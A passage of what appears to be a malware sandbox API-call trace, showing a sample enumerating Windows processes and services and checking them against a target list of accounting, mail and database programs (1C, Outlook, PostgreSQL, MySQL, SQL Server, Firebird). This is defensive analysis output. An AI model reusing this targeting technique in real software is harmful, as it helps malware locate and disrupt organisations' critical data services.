-1 [0153.552] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0153.552] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0153.552] lstrlenW (lpString="WPDBusEnum") returned 10 [0153.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0153.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0153.553] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0153.553] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0153.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0153.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x433e1b8 | out: hHeap=0x630000) returned 1 [0153.553] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x338 [0153.555] Process32FirstW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0153.555] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0153.555] lstrlenW (lpString="System") returned 6 [0153.555] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0153.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0153.555] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0153.556] lstrlenW (lpString="smss.exe") returned 8 [0153.556] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0153.556] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.556] lstrlenW (lpString="csrss.exe") returned 9 [0153.556] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.556] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.556] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.556] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.556] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.556] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0153.556] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0153.557] lstrlenW (lpString="wininit.exe") returned 11 [0153.557] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0153.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0153.557] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0153.557] lstrlenW (lpString="csrss.exe") returned 9 [0153.557] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0153.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0153.557] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0153.557] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0153.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0153.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0153.558] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0153.558] lstrlenW (lpString="winlogon.exe") returned 12 [0153.558] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0153.558] lstrlenW (lpString="services.exe") returned 12 [0153.558] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0153.559] lstrlenW (lpString="lsass.exe") returned 9 [0153.559] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0153.559] lstrlenW (lpString="lsm.exe") returned 7 [0153.559] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.559] lstrlenW (lpString="svchost.exe") returned 11 [0153.559] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.560] lstrlenW (lpString="svchost.exe") returned 11 [0153.560] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.560] lstrlenW (lpString="svchost.exe") returned 11 [0153.560] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.560] lstrlenW (lpString="svchost.exe") returned 11 [0153.562] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.562] lstrlenW (lpString="svchost.exe") returned 11 [0153.562] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0153.562] lstrlenW (lpString="audiodg.exe") returned 11 [0153.563] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.563] lstrlenW (lpString="svchost.exe") returned 11 [0153.563] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0153.563] lstrlenW (lpString="userinit.exe") returned 12 [0153.563] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0153.563] lstrlenW (lpString="explorer.exe") returned 12 [0153.564] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0153.564] lstrlenW (lpString="dwm.exe") returned 7 [0153.564] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.564] lstrlenW (lpString="svchost.exe") returned 11 [0153.564] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0153.564] lstrlenW (lpString="n.exe") returned 5 [0153.565] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0153.565] lstrlenW (lpString="spoolsv.exe") returned 11 [0153.565] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0153.565] lstrlenW (lpString="svchost.exe") returned 11 [0153.565] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0153.565] lstrlenW (lpString="taskhost.exe") returned 12 [0153.565] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0153.566] lstrlenW (lpString="reader_sl.exe") returned 13 [0153.566] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="rundll32.exe")) returned 1 [0153.566] lstrlenW (lpString="rundll32.exe") returned 12 [0153.566] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0153.566] lstrlenW (lpString="n.exe") returned 5 [0153.566] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0153.567] lstrlenW (lpString="consent.exe") returned 11 [0153.567] Process32NextW (in: hSnapshot=0x338, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x374, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0153.567] CloseHandle (hObject=0x338) returned 1 [0153.567] Sleep (dwMilliseconds=0x1f4) [0154.118] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42dccb8 [0154.119] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0154.119] GetLastError () returned 0xea [0154.119] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x433e1b8 [0154.119] EnumServicesStatusExW (in: hSCManager=0x42dccb8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x433e1b8, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x433e1b8, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0154.120] CloseServiceHandle (hSCObject=0x42dccb8) returned 1 [0154.120] lstrlenW (lpString="Appinfo") returned 7 [0154.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0154.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0154.120] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0154.120] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0154.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0154.120] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0154.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0154.120] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0154.120] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0154.120] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0154.120] lstrlenW (lpString="AudioSrv") returned 8 [0154.120] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0154.120] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0154.120] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0154.120] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0154.121] lstrlenW (lpString="BFE") returned 3 [0154.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0154.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0154.121] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0154.121] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0154.121] lstrlenW (lpString="CryptSvc") returned 8 [0154.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0154.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0154.121] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0154.121] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0154.121] lstrlenW (lpString="CscService") returned 10 [0154.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0154.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0154.121] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0154.121] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0154.121] lstrlenW (lpString="DcomLaunch") returned 10 [0154.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0154.121] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0154.121] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0154.121] lstrlenW (lpString="Dhcp") returned 4 [0154.121] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0154.121] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0154.121] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0154.121] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0154.121] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0154.121] lstrlenW (lpString="Dnscache") returned 8 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0154.122] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0154.122] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0154.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0154.122] lstrlenW (lpString="DPS") returned 3 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0154.122] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0154.122] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0154.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0154.122] lstrlenW (lpString="eventlog") returned 8 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0154.122] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0154.122] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0154.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0154.122] lstrlenW (lpString="EventSystem") returned 11 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0154.122] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0154.122] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0154.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0154.122] lstrlenW (lpString="gpsvc") returned 5 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0154.122] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0154.122] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0154.122] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0154.122] lstrlenW (lpString="iphlpsvc") returned 8 [0154.122] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.122] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0154.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0154.123] lstrlenW (lpString="LanmanServer") returned 12 [0154.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0154.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0154.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0154.123] lstrlenW (lpString="LanmanWorkstation") returned 17 [0154.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0154.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0154.123] lstrlenW (lpString="lmhosts") returned 7 [0154.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0154.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0154.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0154.123] lstrlenW (lpString="MMCSS") returned 5 [0154.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0154.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0154.123] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0154.123] lstrlenW (lpString="MpsSvc") returned 6 [0154.123] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0154.123] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0154.123] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0154.123] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0154.124] lstrlenW (lpString="Netman") returned 6 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0154.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0154.124] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0154.124] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0154.124] lstrlenW (lpString="netprofm") returned 8 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0154.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0154.124] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0154.124] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0154.124] lstrlenW (lpString="NlaSvc") returned 6 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0154.124] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0154.124] lstrlenW (lpString="nsi") returned 3 [0154.124] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0154.124] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0154.124] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0154.124] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0154.124] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 